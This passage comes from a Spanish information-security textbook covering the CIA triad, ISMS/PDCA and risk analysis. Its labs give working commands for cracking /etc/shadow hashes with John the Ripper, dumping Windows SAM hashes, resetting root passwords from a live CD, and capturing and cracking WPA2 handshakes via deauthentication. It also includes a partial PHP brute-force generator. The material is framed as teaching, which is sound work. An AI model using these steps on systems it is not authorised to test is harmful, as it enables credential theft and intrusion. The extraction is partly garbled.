Beruflich Dokumente
Kultur Dokumente
Contenido
Fundamentos sobre la inseguridad de la informacin,
Et vaonlineF
un enfoque pragmtico
Armando Carvajal
Mster en seguridad informtica - Universidad Oberta de Catalunia
Especialista en construccin de software para redes - Uniandes
Ing. Sistemas Universidad Incca de Colombia
Pagina web: http://www.globalteksecurity.com
e-mail: armando.carvajal@globalteksecurity.com
INCLUYE DVD
CON
LINUX
Armando Carvajal
ISBN 0-000-00000-0
Contenido
Prlogo
Prefacio
Agradecimientos
Acerca de los autores y coautores
Anexos
Prefacio
Tmas no cubiertos:
No estn incluidos en este libro la seguridad en dispositivos de control industriales, la creacin de virus y
malware como los botnets, no incluye el monitoreo de la seguridad y el anlisis centralizado de logs.
Prefacio
Audiencia:
Estudiantes de maestras y especializaciones en ingenieras, profesionales que laboren en el sector de las
redes de computadores y telecomunicaciones con responsabilidades en seguridad informtica.
Agradecimientos
a
b
c
PARTE I
FUNDAMENTOS, SGSI, ANALISIS DE
IMPACTOS DE LOS NEGOCIOS,
CUMPLIMIENTO DE NORMAS Y
AUDITORIAS A LOS SISTEMAS DE
SEGURIDAD
Capitulo 1
Fundamentos de la inseguridad de la
informacin
Objetivos:
Profundizar en el anlisis y gestin de riegos como la base fundamental de los sistemas de gestin
de seguridad de la informacin
En Europa se utiliza con ms frecuencia la expresin Fiabilidad informtica. La figura 1-1 enfatiza el
concepto de que un sistema de informacin se considera seguro si se encuentra libre de todo riesgo y dao,
pero es imposible garantizar la seguridad o la inviolabilidad absoluta de un sistema informtico, en el
interesante libro [Moron Lerma, Esther, (2002), Internet y derecho penal: Hacking y otras conductas ilcitas
en la red. Editorial Aranzadi S.A] se sugiere de preferencia utilizar el trmino fiabilidad.
Importante
Este trmino fiabilidad se usa con mucha frecuencia en Europa
Importante
Medite esta pregunta: Tiene dudas sobre la existencia de vulnerabilidades y riesgos informaticos en su
organizacion?
1.1
Hay 3 variables o parmetros que determinan el estado de un sistema informtico, estos son:
Confidencialidad: Los recursos del sistema solo pueden ser accedidos por los elementos autorizados
Integridad: Los recursos del sistema solo pueden ser modificados o alterados por los elementos
autorizados
Disponibilidad: Los recursos del sistema deben permanecer accesibles a los elementos autorizados
La figura 1-2 enfatiza las propiedades mas importantes que de deben tener en cuenta en todo sistema de
informacin.
Propiedades de un sistema
Un ejemplo de vida ayuda a explicarse mejor: Si a usted le abren las puertas de su automovil sin que usted
suministre las llaves, entonces el atacante le impacto la variable confidencialidad.
Pero si le hurtan el reproductor MP3/DVD el atacante habr impactado la variable integridad.
Finalmente si le hurtan el carro la variable afectada es la disponibilidad pues no tendr vehiculo para
transportarse.
1.2
Tipos de ataques
Modificacin: Tambin llamados webdefacement cuando atacan los portales web, buscan comprometer la
confidencialidad y la integridad del sistema, por ejemplo cuando un atacante modifica la pgina web de una
organizacin sin previa autorizacin
Fabricacin: comprometen la integridad del sistema por ejemplo al insertar un nuevo usuario en el sistema
operativo
Interceptacin: Busca comprometer la confidencialidad del sistema, un ejemplo son los key loggers o
spyware y los Sniffers
Interrupcin: Comprometen la propiedad Disponibilidad un ejemplo serian los ataques de denegacin de
servicios o DoS.
Veamos la figura 1-3 respecto de que propiedades buscan los ataques y su clasificacin:
Que atacan?
Propiedades
______________
Confidencialidad
Integridad
Disponibilidad
Ataques
_______________
Modificacion:
webdefacement
Fabricacion: Insertar
nuevo usuario
Interceptacion: Key
loggers
Interrupcion: Dos
7
1.3
Hoy en da la mayora de los ataques estn automatizados en CDs auto ejecutables que son usados por los
atacantes y a su vez por los auditores de seguridad para evaluar los sistemas evaluados.
Estadsticamente se dice que a medida que pasan los aos es ms fcil hacer un ataque por que estos
estarn cada vez mejor documentados y automatizados.
1.4
El concepto de seguridad lleva asociado otro concepto que le da sentido: El valor, solo se debe proteger
aquello que creemos tiene un valor importante para nosotros, la seguridad debe estar ntimamente asociada
al valor que le damos a los objetos que deseamos proteger.
La informacin: En esencia la informacin es lo que mas nos importa proteger, porque es propio de la
organizacin especifica, ya que sin duda alguna constituye uno de los mayores activos de cualquier
organizacin.
Importante
Por ello se deben destinar los recursos necesarios para su proteccin y uso en forma controlada ya que
constituye su conocimiento, su diferenciador ante la competencia y los clientes, que finalmente determinan
la continuidad del negocio.
2.0
Dada la complejidad del problema de la seguridad cuando se trata como un todo dentro de la organizacin,
surge de forma natural la necesidad de la gestin de la seguridad por lo que las organizaciones deben
plantearse un sistema de gestin de la seguridad de la informacin SGSI. El objetivo primordial de los SGSI
es salvaguardar la informacin, para empezar se debe identificar que activos de informacin deben ser
protegidos y en que grado, luego debe aplicarse el plan PDCA PLAN DO CHECK ACT, es decir
Planificar, Hacer, Verificar, Actuar y volver a repetir el ciclo.
La seguridad consiste en la realizacin de las tareas necesarias para garantizar los niveles de seguridad
exigibles en una organizacin: En consecuencia la organizacin debe entender la seguridad como un proceso
que nunca termina pues Los riesgos nunca se eliminan en cambio se gestionan. De los riesgos se
desprende que los problemas de seguridad no son nicamente de ndole tecnolgica por ello nunca se
eliminan en su totalidad.
La figura 1-5 muestra un SGSI donde siempre se cumplen cuatro niveles repetitivos que nunca terminan,
inician por Planificar y termina en Actuar, reciclando en mejoras continuas:
PLANIFICAR
PLAN
HACER
DO
VERIFICAR
ACTUAR
CHECK
ACT
MEJORAS CONTINUAS
10
Implementa mejoras
Acciones preventivas
Acciones correctivas
Importante
Es recomendable seguir la norma internacional ISO/IEC 27002:2005 (antes 17799:2005) que considera la
organizacin como un todo y tiene en cuenta todos los posibles aspectos que se pueden ver afectados ante
los posibles incidentes que se pueden producir. No importa el tamao de la organizacin.
La figura 1-6 muestra que tambien puede verse el sistema de gestin PDCA como un proceso que
busca disminuir el impacto en el negocio de cualquier variable que tenga relacin con la
informacion, este proceso debe estar en la mitad de las partes interesadas para que se cumpla un
ciclo de desarrollo y mantenimiento que llevar a la organizacin hacia mejoras continuas la y
prediccin de riesgos.
11
Planificar
Establecer el SGSI
Hacer
Partes
Interesadas.
Implementar
y operar el
SGSI
Ciclo de
desarrollo,
mantenimiento y
mejora continua.
Mantener y
mejorar
continuamente
Partes
Interesadas.
Actuar
Requisitos y
Expectativas
de
Seguridad
de la
Informacin.
Monitorear, medir
y revisar el SGSI
Verificar
Seguridad
de la
Informacin
Gestionada
12
2.1
El Mayor problema
El mayor problema de hoy es que los servicios que ms utilizamos no fueron pensados para ser seguros, es
decir la informacin viaja en las diferentes redes sin cifrar por los canales inseguros, adicionalmente los
servicios de red no saben si la persona que los esta utilizando est autorizada para acceder la informacin
que suministra el msmo. Los usuarios mal intencionados utilizan herramientas que se ponen a la escucha y
pueden ver todo el trafico de red, estas herramientas se llaman sniffers y se usan con frecuencia por los
administradores de redes.
La figura 1-7 muestra un usuario con el cliente de correo Microsoft Outlook que se siente seguro por que el
cliente de correo le pide la clave de la cuenta de correo y muestra asteriscos en la pantalla para que este no
sea observado por personas que estn a su alrededor.
Figura 1-7: Estan viendo mis claves cuando leo correos electrnicos?
Lo que el usuario comn y corriente no sabe es que el trfico de la red puede ser visto con un sniffer como el
popular ethereal ahora llamado wireshark.
Definitivamente la nica forma para que los sniffers no vean los datos en claro es cifrando el canal para los
puertos necesarios en la transferencia de datos.
Se dice que el uso de la criptografa es una forma de proteger la confidencialidad en la era de la informacin.
Importante
El concepto de seguridad informtica debe ser enfocado como un proceso global, interdisciplinario, holistico,
por ello algunos especialistas creen que desde el punto de vista legal la seguridad es el conjunto de
bienes y derechos personales o de la organizacin que deben ser protegidos y preservados, tanto del mal
uso involuntario como del uso ilcitopor ende no debe ser enfocado nicamente como un tema tecnolgico.
2.2
Un plan de gestin de seguridad informtica no puede existir sin capacitacin especializada en las nuevas
amenazas y obviamente debe hacer nfasis en como contrarrestar las mismas. La certificacin en seguridad
que ms se busca hoy en da es la CISSP o profesional en seguridad informtica certificado, las estadsticas
muestran un 48% de preferencia por esta ertificacin.
13
14
IDS
Firewall y Proxy
End device
Ancho de Banda
Correo
Anlisis de
Vulnerabilidades
Filtro Web
Broker de aplicaciones
Web
Aplicaciones Crticas
Antiespam y antivirus
26
2.4.1
Permiten probar las polticas de seguridad en cuanto a las claves / passwords dbiles para saber si se estn
respetando. El administrador basado en los reportes de la herramienta John informa a los usuarios del
aseguramiento de sus claves.
Por ejemplo se debera programar semanalmente la ejecucin de estas pruebas para evaluar la fortaleza de
las claves / passwords de los servidores. Cuando se encuentren claves dbiles se debe forzar a los usuarios
su cambio.
Ahora esto debe estar acompaado de una poltica de seguridad de la informacin que dentro del sistema
operativo y en las aplicaciones del negocio no se permitan: contraseas de menos de 8 caracteres,
contraseas formadas con datos conocidos del usuario, contraseas que no mezclen maysculas y
minsculas, contraseas formadas por palabras de diccionarios y contraseas que ya se hayan usado antes.
2.4.2
Activacin de la herramienta
Para activar la herramienta desde un LIVE CD de seguridad como Back Track, se deben seguir los
siguientes pasos:
15
En la versin Back Track 4.0, la carpeta principal del software se consigue con el comando:
# cd /pentest/password/jtr
En la versin Back Track 5.0, la carpeta principal del software se consigue con el comando:
# cd /pentest/password/john
Existe un archivo de claves por defecto muy utilizado llamado passwords.lst, que al ejecutar el comando:
# wc l password.lst mostrar en promedio unas 3.115 lneas o palabras comunes de diccionario.
Al crear un usuario por ejemplo acarvaja con el comando useradd acarvaja; passwd acarvaja debe
notarse que el password siempre contiene 13 caracteres sin importar el tamao de la clave de entrada,
adems se encuentra que al generar el mismo password varias veces la clave cifrada no es igual, esto se
debe a la SALT que son los dos primeros caracteres de la contrasea.
Con la herramienta unshadow /etc/passwd /etc/shadow > passwd.1 se genera un solo archivo/fichero donde
se fusionan usuarios y su clave cifrada respectivamente, pero tambin funciona si se utiliza el archivo de
claves /etc/shadow en forma individual.
Al ejecutar el comando:
# ./john passwd.1
Se podran ver las claves en texto en claro. Al dejar el password igual al nombre del usuario se obtiene la
siguiente clave cifrada: DR4V/VN5epYJU, el tiempo para descifrarlo en el laboratorio fue de 2,403 seg.
Si usamos el password al revs como el nombre del usuario: ajavraca se obtiene la siguiente clave cifrada:
zYU39Cr4f14n, el tiempo para descifrarlo fue de 2,704 seg.
La figura 1-10 muestra que si se utiliza un password que satisfaga las condiciones habituales de seguridad:
Con el texto en claro @*?xxx! se obtiene la siguiente clave cifrada: geU8xxx0UCKCk, pero no se puede
descifrar la clave despus de 4 semanas.
Usuario
acarvaja
acarvaja
acarvaja
acarvaja
acarvaja
acarvaja
Contrasea texto en
claro
Sis
Sist
Siste
Sistem
Sistema
Sistemas
Contrasea cifrada
d/xIxxJYTO292
Jt7jCsUUvCWJ
P5hnpqJUASIzQ
LrxcAeTTDWOBs
hzYQLo1RxiIEQ
gsZ.WUm.ozkgQ
Segundos para
descifrar
10,487
17,302
15,044
16,004
146,851
2.604,277
16
3000
2500
2000
1500
No Caracteres
1000
500
0
3
Si el lector cuenta con tiempo se recomienda probar las anteriores claves y verificar como se incrementa la
dificultad de hacer un ataque por diccionario para esas claves.
Matemticamente podemos afirmar que: Si X representa el nmero de caracteres del alfabeto, n representa
el nmero mximo de caracteres de la clave, j representa el menor nmero de caracteres de la clave mas
corta y k un contador de 0 a j, entonces el nmero de claves posibles est dado por la siguiente frmula:
Para un alfabeto de 6 caracteres (X=6) que genere claves cortas de mnimo 2 caracteres (j=2) y claves de
mximo 3 caracteres (n=3) tendremos un total de 252 claves.
Razonamiento: Si el alfabeto fuera el teclado de un usuario americano representado por los siguientes
caracteres:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()_=+\|]}[{'\";:/?.>,<
Cuantas posibles claves de mnimo 4 caracteres hasta mximo 8 caracteres generara ese alfabeto de 93
caractres?
Teoricamente tendramos 5.6 x 10 ^15 claves y 4.51 x 10 ^16 bytes = 45 Petabytes de almacenamiento.
Esta es una propuesta de software en lenguaje PHP para generar las claves del mencionado alfabeto:
<?php
/*
-------------- ------------------------------------------------------------Programa
: alfabeto8.php...................................................
Objetivo
: Genera diccionario fuerza bruta dado un alfabeto.
Sis.Operativo : Linux/Unix/Windows..........................................
Fecha
: 05 de agosto de 2011.......................................
Programadores : armando.carvajala@globalteksecurity.com...........
-------------- ------------------------------------------------------------
17
*/
$txt_alfabe= "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()_=+\|]}[{'\";:/?.>,<";
$num_caralf=strlen($txt_alfabe) - 1;
$cuantos = 0;
/*
Toma argumentos del usuario para continuar la generacion de claves
recibiendo 8 caracteres del alfabeto segun la posicion generada ejemplo:
aac+.@9< y retorna la posicion dentro del alfabeto 0 0 2 77 90 65 61 93
*/
@$par01=$GLOBALS['argv']['1'];
if ( $par01 ) {
$val01=strpos($txt_alfabe,$par01);
} else {
$val01=0;
}
@$par02=$GLOBALS['argv']['2'];
if ( $par02 ) {
$val02=strpos($txt_alfabe,$par02);
} else {
$val02=0;
}
@$par03=$GLOBALS['argv']['3'];
if ( $par03 ) {
$val03=strpos($txt_alfabe,$par03);
} else {
$val03=0;
}
@$par04=$GLOBALS['argv']['4'];
if ( $par04 ) {
$val04=strpos($txt_alfabe,$par04);
} else {
$val04=0;
}
@$par05=$GLOBALS['argv']['5'];
if ( $par05 ) {
$val05=strpos($txt_alfabe,$par05);
} else {
$val05=0;
}
@$par06=$GLOBALS['argv']['6'];
if ( $par06 ) {
$val06=strpos($txt_alfabe,$par06);
} else {
$val06=0;
}
@$par07=$GLOBALS['argv']['7'];
if ( $par07 ) {
$val07=strpos($txt_alfabe,$par07);
} else {
$val07=0;
}
@$par08=$GLOBALS['argv']['8'];
if ( $par08 ) {
$val08=strpos($txt_alfabe,$par08);
} else {
$val08=0;
}
$log="alfabeto8.log";
for ($col01 = $val01; $col01 <= $num_caralf; $col01++) {
for ($col02 = $val02; $col02 <= $num_caralf; $col02++) {
18
Conclusiones
Existen en Internet herramientas similares para evaluar la vulnerabilidad de las claves o passwords
Son fciles de encontrarlas y usarlas para hacer auditoras o acciones maliciosas
Es evidente que el 90% de los passwords son demasiado vulnerables
Las herramientas para romper claves pueden ser utilizadas para forzar la entrada a un sistema
cuando originalmente fueron creadas para probar la debilidad de las claves o passwords por parte
de los administradores de los sistemas informticos
Si se puede generar un archivo/fichero de claves compuestas de 4 a 8 caracteres basados en un
alfabeto equivalente al teclado de un usuario el esquema actual de claves seguras de primer factor
estara cuestionado
19
2.4.4
Objetivos:
Probar localmente la fortaleza de las claves de los usuarios localizados en el archivo/fichero /etc/shadow
Supuestos:
El software john the ripper ya est instalado en Linux backtrack
/pentest/passwords/jtr o en backtrack 5 en la carpeta /pentest/passwords/john
4.0
sobre
la
carpeta
Un Linux diferente como Fedora o SUSE no trae la herramienta instalada y debe instalarse manualmente,
para ello se debe descargar el software en formato tarbal desde el sitio: http://www.openwall.com/john/ y
dejarlo en el directorio /tmp/john-1.*.tar.gz
Luego se descomprime con la herramienta:
# tar xzvmf /tmp/john-1.*.tar.gz
Se posiciona en el directorio recin creado y se compila e instala con las siguientes herramientas:
#
#
#
#
cd
cd
make
cd
/tmp/john-1.*
src
generic
../run
20
passwd.1
Paso 4: Ejecute la herramienta John para ver el texto en claro de las claves usadas por los usuarios
Limpie las bitcoras de experiencias anteriores:
# rm john.pot
john.log
john.rec
Ejecute la herramienta:
# ./john passwd.1
Al ejecutar el comando anterior aparecer un mensaje diciendo que ha encontrado un nmero de usuarios
para evaluar el algoritmo Standard DES [32/32], o el algoritmo que su Linux est usando como BlowFish o
3DES, CRYPT, adems en este archivo/fichero se muestra por cada usuario una lista de passwords cifrados y
su equivalente en texto en claro.
Los password encontrados quedarn en el archivo john.pot y si se desea continuar la bsqueda entonces se
deber usar John.rec.
Si el sistema contina procesando claves, se podra presionar varias veces la tecla enter y aparecer la
secuencia de la clave que se esta probando en forma aleatoria en ese instante de tiempo.
Paso 5: Evaluacin de resultados, se debe revisar el archivo/fichero John.pot con la herramienta less:
# less john.pot
d/xIxxJYTO292:sistemas
Jt7jCsUUvCWJ.:toor
P5hnpqJUASIzQ:123
Solo aparecen las claves en claro que se pueden descifrar, esto es importante para que el auditor lo incluya
en su informe de auditora de claves de usuarios.
21
Cuestionamientos
# sh /etc/rc.d/rc.sshd start
En backtrack 4.0 siga los siguientes pasos: # /etc/init.d/ssh start
Pruebe el servicio con la herramienta
# ssh localhost
Si aparece el error conexin rechazada por puerto 22 nos indica que el servicio no puede subir,
para iniciarlo vaya a la carpeta /etc/ssh y digite:
# cp /root/.ssh/id_rsa
# cp /root/.ssh/id_dsa
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_dsa_key
Inicie el servicio y pruebe que el usuario puede hacer login localmente por ssh
# ssh acarvaja@localhost
Ahora pruebe la fortaleza de las claves de los usuarios windows, para ello siga los siguientes
pasos:
Obtenga
la
utilidad
PWDUMP7
desde
el
siguiente
enlace:
http://passwords.openwall.net/dl/pwdump/Pwdump7.zip y descomprima el contenido en el
directorio C:\windows\system32 (son dos archivos pwdump7.exe y libeay32.dll).
Ejecute John The Ripper sobre el archivo SAM.TXT para tratar de romper las contraseas.
Fin de Laboratorio
22
2.4.5
Prerrequisitos:
Se asume que el lector tiene acceso a un servidor Linux donde el disco duro est representado por el
dispositivo /dev/sda, donde /dev/sda1 es la primera particin, /dev/sda2 representa la segunda particin.
Generalmente los discos IDE se representan por /dev/hda pero las versiones recientes de Linux ven
/dev/hda como /dev/sda simulando discos SCSI o SATA.
Las memorias USB se muestran como el dispositivo /dev/sda, donde /dev/sda1 es la primera particin de la
primera USB, /dev/sdb1 representa la segunda USB con su primera particin y /dev/sdc representa una
tercera USB donde no se han identificado particiones.
Pasos a seguir:
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
Haga boot con un CD de arranque, para este caso acadmico se recomienda el CDROM Bactrack
Tome la opcin de recuperacin si es un Linux comercial, por ejemplo en SUSE y RedHat lo
permiten pero un Linux Live CD o backtrack no tendr acceso a esa opcin
En SUSE o RedHat el sistema le pedir el usuario con el que har el proceso de emergencia, digite
root y presione la tecla enter
En backtrack el usuario root tienen clave toor, es decir root con sus caracteres invertidos
Averige cual es la particin del sistema de archivos root (/), para ello digite en SUSE o baktrack
cfdisk /dev/sda o en Linux RedHat o Fedora fdisk l.
Es ms conocido el comando fdisk l que muestra todas las particiones de todos los discos
existentes
Para el comando fdisk /dev/sda tome la opcin 1 (fdisk permite hacer gestin de particiones de
discos duros) y luego la letra p (print) para imprimir las particiones que contiene el disco duro
Deduzca cual es la particin del sistema de archivos root (/) buscando carpetas con nombres como
grub, bin, etc, var, usr, lib, tmp, etc
Si encuentra una particin de tipo LVM y se est usando backtrack 4.0 la herramienta vgscan puede
que no exista
Verifque que hay acceso a internet para descargar la herramienta lvm
# ifconfig
Si no hay red actvela con el siguiente comando:
# /etc/init.d/networking start
Descargue la herramienta lvm con el comando:
# apt-get install lvm2
Ahora deber crear el grupo de discos con los siguientes comandos:
# vgscan --mknodes
Se debe observar en el comando anterior que son dos guiones antes del parmetro mknodes
# vgchange a y
Se debe observar en el comando anterior un solo guion antes del parmetro a seguido de la letra
y
Si la particin es de tipo LVM ahora obtendr el nombre del nuevo dispositivo, por ejemplo si fuera
system, busque los dispositivos en la carpeta /dev/system/
Observe cuantos volmenes lgicos aparecen, si hay 0 LVM no se debe insistir pues no estn
activados
Si el Linux es un backtrack 3.0 las particiones se montarn automticamente sobre la carpeta /mnt,
por ejemplo /dev/sda1 estar en la carpeta /mnt/sda1
Monte la particin del sistema de archivos root en la carpeta /mnt del cdrom, asi:
# mount /dev/sda1 /mnt/xxx donde xxx es el identificador de la particin que se est evaluando
Indique al LiveCD que el root no es el del CD, en cambio debera ser la particin del disco duro
donde estan los passwords reales de los usuarios, asi:
# chroot /mnt/xxx donde xxx es el identificador de la particin que se est evaluando
# cd /, lo posicionara en el CDROM
# ls l le muestra los archivos del CD para estar seguros que no estamos dentro del CD
Si es correcto cambie el password del usuario roo tasi:
# passwd root
Digite el nuevo password
En algunos Live CD se obtiene un error indicando que el dispositvio /dev/urandom no existe
Cree el dispositivo /dev/urandom con el siguiente comando si este no existe:
# mknod /dev/urandom c 1 8
23
36. Si obtuvo el error de la no existencia del dispositivo /dev/urandom vuelva a cambiar el password
segn la herramienta passwd de esta gua
37. Salga a la carpeta principal del usuario root que ahora apunta al directorio /mnt/xxx del CDROM
que a su vez apunta a la particin del disco duro donde est el archivo/fichero shadow con la clave
que deseamos cambiar para el usuario root
38. Vuelva a la posicion raz principal del sistema
39. # cd /
40. Sincronice la RAM contra el disco duro
41. sync
42. Reinicie el sistema con la siguiente herramienta:
43. # reboot
44. Retire el CD/DVD de Linux para que no haga boot desde el CD/DVD
45. Pruebe entrando al sistema con la nueva clave o password
Cuestionamientos
Fin de laboratorio
Propuesta de prctica:
Cuestionamientos
Fin de la prctica.
24
2.4.6
Objetivos:
Supuestos:
El porttil o la estacin de trabajo del usuario ya cuenta con una tarjeta de red wireless denominada
wlan0, adicionalmente cuenta con una tarjeta red local eth0
Se cuenta en el laboratorio con la tarjeta de red wireless USB Alfa Network Modelo AWUS036NH
S/N 1102036NH05948, MAC 00:C0:CA:4A:D0:84 con potencia de 2 wats y chipset ralink
Paso 5: Evale si la tarjeta de red wireless para hacer la auditora est en modo monitor (promiscuo)
# airmon-ng
Observar la siguiente informacin:
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=6 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Observe que inicialmente no est en modo promiscuo.
25
Name
dhclient3
dhclient3
Chipset
Driver
wlan0
Ralink RT2870/3070
rt2800usb - [phy0]
(monitor mode enabled on mon0)
Es porque hay procesos dhclient3 sobre la interfe de red tratando de obtener una IP de la red, cancele los
mencionados procesos con la siguiente herramienta y renombre la herramienta dhclient3:
# killall dhclient3
# mv /sbin/dhclient3 /sbin/dhclient3.org
Nota importante: En VMWARE cuando aparece este error se debe desactivar y reactivar la unidad wireless de
tipo USB, Repita los pasos anteriores hasta que no hayan errores de tipo dhclient3
Busque el AP o Punto de acceso wireless que ser atacado, en especial los que usen el cifrado WPA o WPA2
que para este caso academico sera 00:22:B0:B5:2E:E4
# airodump-ng wlan0 -encrypt wpa2
La opcin -encrypt wpa obliga al sniffer a mirar solamente las redes con este tipo de cifrado, wpa2
nicamente este tipo de cifrado, sin esta opcin todas las redes sern mostradas, observe la columna #data
(datos), si hay paquetes en esta columna la probabilidad de capturar trfico es muy alta
26
Paso 7: Capture trafico del AP o router vctima cuando los usuarios se autentican
# airodump-ng -c 6 --bssid 00:22:B0:B5:2E:E4 -w hacking wlan0
Nota: la opcion -w crea un archivo/fichero con el nombtre que el auditor elija, para este caso se le llam
hacking, generalmente es el nombre de la red que se esta analizando.
Paso 8: En una nueva sesion alt-f2, pida que se reautentiquen los clientes haciendo un broadcast
Nota: Si cuenta con la mac address del cliente use la opcion -c seguida de la mac del cliente
# aireplay-ng -0 5 -a 00:22:B0:B5:2E:E4 wlan0
Pare cuando a mano derecha del airodump aparezca la mac del AP, esto se da cuando el cliente intercambia
la palabra clave con el AP y se mostrara en la herramienta aireplay
Ver la siguiente grfica:
27
Si encuentra la clave de la red wireless debe tomar nota del campo "EAPOL HMAC" que para este caso
teorico es: 04 5B D5 3C 36 32 2C FD 50 9F C6 82 55 A3 C9 4B.
Paso 10: Mirando el archivo de la clave con un sniffer
Al abrir el archivo/fichero hacking-01.cap en un editor de tipo sniffer como wireshark y buscar el contenido
del campo "EAPOL HMAC" se deberia observar la clave WAP en hexadecimal:
Es importante observar el protocolo "eapol" y en especial la columna info que nos llama la atencion idicando
que es una clave, WPA Key: 30140100000FAC020100000FAC040100000FAC020000.
Se puede observar en detalle que esta cifrada segun el algoritmo HMAC-SHA1 para MIC y AES-CCMP.
Este seria el contenido en formato hexadecimal separando cada campo de la clave por el simbolo ":",
30:14:01:00:00:0f:ac:02:01:00:00:0f:ac:04:01:00:00:0f:ac:02:00:00
28
Cuestionamientos
Qu pasara si el password del usuario que grabo en el router access point contiene
caracteres especiales como @!*#.?
Qu hace la herramienta ./john -incremental=All --stdout | aircrack-ng -e hacking -a 2 -w hacking*.cap?
Qu significa la opcion "-a 2" en la herramienta aircrack-ng, es opcional?
Qu significa la opcion "-e hacking" en la herramienta aircrack-ng?
Qu significa la opcion "-w -" en la herramienta aircrack-ng?
Fin de Laboratorio
http://www.youtube.com/watch?v=6ihTC8up2eM
Antihacking:
http://www.youtube.com/watch?v=iwwzJQjyRSg
2.4.7
Evaluacin
Cules son las 3 propiedades que hacen de un sistema informtico fiable o de lo contrario inseguro?
Cules son los 4 grupos de ataque que pueden sufrir los componentes hardware, software y los datos?
Defina desde el punto de vista del departamento jurdico o legal que es la seguridad informtica?
29
2.4.7.
Bibliografa
Colobran Huguet, Miguel. (2002): Administracin de sistemas operativos en Zarza. Barcelona:
Universidad Oberta de Catalunia
Moron Lerma, Esther. (2002). Internet y derecho penal: Hacking y otras conductas ilcitas en la red.
Editorial Aranzadi, S.A.
Villaln Huerta, Antonio. (2002). Seguridad en UNIX y redes. Versin 2.1,
http://www.rediris.es/cert/doc/unixsec/
Schneier Bruce, Beyond Fear. Thinking Sensibly about security in an uncertain world. Copernicus
Books. 2003
http://www.acis.org.co/archivosAcis/Inseguridad.doc, Jeimy Cano, 2004
30
3.0
Introduccin
Las estrategias de riesgo reactivas se han denominado humorsticamente "Escuela de gestin del riesgo de
Indiana Jones". En las pelculas, Indiana Jones, cuando se enfrentaba a una dificultad insuperable, siempre
deca "No te preocupes, pensar en algo!", nunca se preocupaba de los problemas hasta que ocurran,
entonces reaccionaba como un hroe.
Una estrategia considerablemente ms inteligente para el control del riesgo es el ser proactivos.
La estrategia proactiva empieza mucho antes de que comiencen los trabajos tcnicos.
Se identifican los riesgos potenciales, se valoran su probabilidad y su impacto y se establece una prioridad
segn su importancia. (Tomado de: http://www.um.es/docencia/barzana/IAGP/Iagp5.html)
Un sistema de gestin debe medir parmetros del sistema para poder mejorarlos, es pertinente en este
momento traer un texto muy importante del Seor H. James Harrington, que dice: "La medicin es el
primer paso para el control y la mejora. Si algo no se puede medir, no se puede entender. Si no se entiende,
no se puede controlar. Si no se puede controlar, no se puede mejorar.
Entonces se deben identificar y medir los riesgos a que estan expuestos los activos de informacin, esto
debe ser parte fundamental de un sistema de gestin de la seguridad de la informacin que gestione y
minimice el impacto de las vulnerabilidades o fallas inherentes de los activos.
La figura 1-13 muestra en forma grfica el ciclo de gestin de riesgos que nunca termina en el sistema de
gestin de la seguridad de la informacin:
Agradecimientos:
Se le agradece al Ing. Juan Carlos Reyes, Ing. En seguridad informtica de la organizacin seltika por el
aporte para mejorar este modulo: jcreyes@seltika.com
En colombia la entidad de control Superfinanciera ha emitido la circular externa 041 de 2007, donde se
aprueba la implementacin del sistema de administracin de riesgos operativos.
31
Esta misma superfinanciera define el riesgo operativo como la posibilidad de incurrir en prdidas por
deficiencias, fallas o inadecuaciones, en el recurso humano, los procesos, la Tecnologa, la infraestructura o
por la ocurrencia de acontecimientos externos que impactan negativamente el patrimonio de la organizacion.
Existen muchas metodologas para hacer anlisis y gestin de riegos, la figura 1-13 muestra una lista muy
corta:
3.1
Segn la norma ISO/IEC 17799/27002:2005 la primera fuente para que una organizacin identifique sus
necesidades de seguridad de la informacin es la valoracin de sus riesgos. Sin anlisis de riesgos no se
debe iniciar el sistema de gestin de la seguridad de la informacin.
La forma de abordar esta valoracin es mediante la realizacin de un anlisis de riesgos de los procesos
crticos de la organizacion en forma sistemica y metodolgica.
La norma ISO 27002:2005 no establece una metodologa especifica para realizar el anlisis de riesgos, pero
exige unos puntos bsicos que se deben tener en cuenta:
3.2
Por tanto, un proceso de anlisis de riesgos detallado, implica la identificacin y valoracin de los activos, la
evaluacin de las amenazas, las vulnerabilidades de los activos frente a las amenazas, la estimacin del
impacto y la valoracin de los riesgos.
32
La fase siguiente al anlisis de riesgos es la gestin de los riesgos detectados, que soporta la identificacin,
seleccin y adopcin de controles con base a los riesgos identificados y a la reduccin de esos riesgos a un
nivel aceptable definido por la direccin.
3.3
La ventaja principal de este proceso es que permite identificar un nivel de seguridad acorde con las
necesidades de seguridad de cada sistema.
Otra ventaja es que la gestin de los cambios con un impacto importante en la seguridad se beneficiar de la
informacin adicional obtenida del proceso.
El documento de anlisis de riesgos se conforma como un documento vivo, sujeto a las posibles variaciones
de gestin de la organizacin, por lo tanto, es susceptible de anlisis de riesgos peridicos que seran motivo
de nuevas versiones.
3.4
Los elementos implicados en la seguridad de la informacin comprenden entidades bsicas como son:
activos, amenazas, vulnerabilidades, impactos y riesgos. Las metodologas relacionan entre s esas entidades
bsicas para controlar el riesgo, pero el fundamento de cualquier metodologa es que el riesgo se debe tratar
como minimo con las siguientes etapas: Elimiar, prevenir, proteger o transferir el riesgo. Ver figura 1-14
sobre la gestin del riesgo.
3.4.1
Inventario de activos
Los activos son el recurso del sistema de informacin, necesarios para que la organizacin funcione
correctamente y alcance los objetivos propuestos por la alta direccin.
Los activos deben tener un valor asignado por la organizacin, un dueo, un responsable de la seguridad de
la informacin y deben ser de carcter relevante para el mbito del SGSI.
33
3.4.2
Valoracin de activos
La valoracin de los activos es un componente vital del proceso de anlisis de riesgos y no solo tiene en
cuenta el valor a nuevo del activo sino el valor de la informacin que le agrega valor al activo.
El comit de direccin de seguridad de la informacin compuesto por los duenos de cada proceso critico, es
el responsable de la valoracin de los activos de la organizacin.
Por cada activo se debe generar una caracterizacin basado en su estado en materia de seguridad de la
informacin, este se encuentra estimando las caractersticas fundamentales de todo activo:
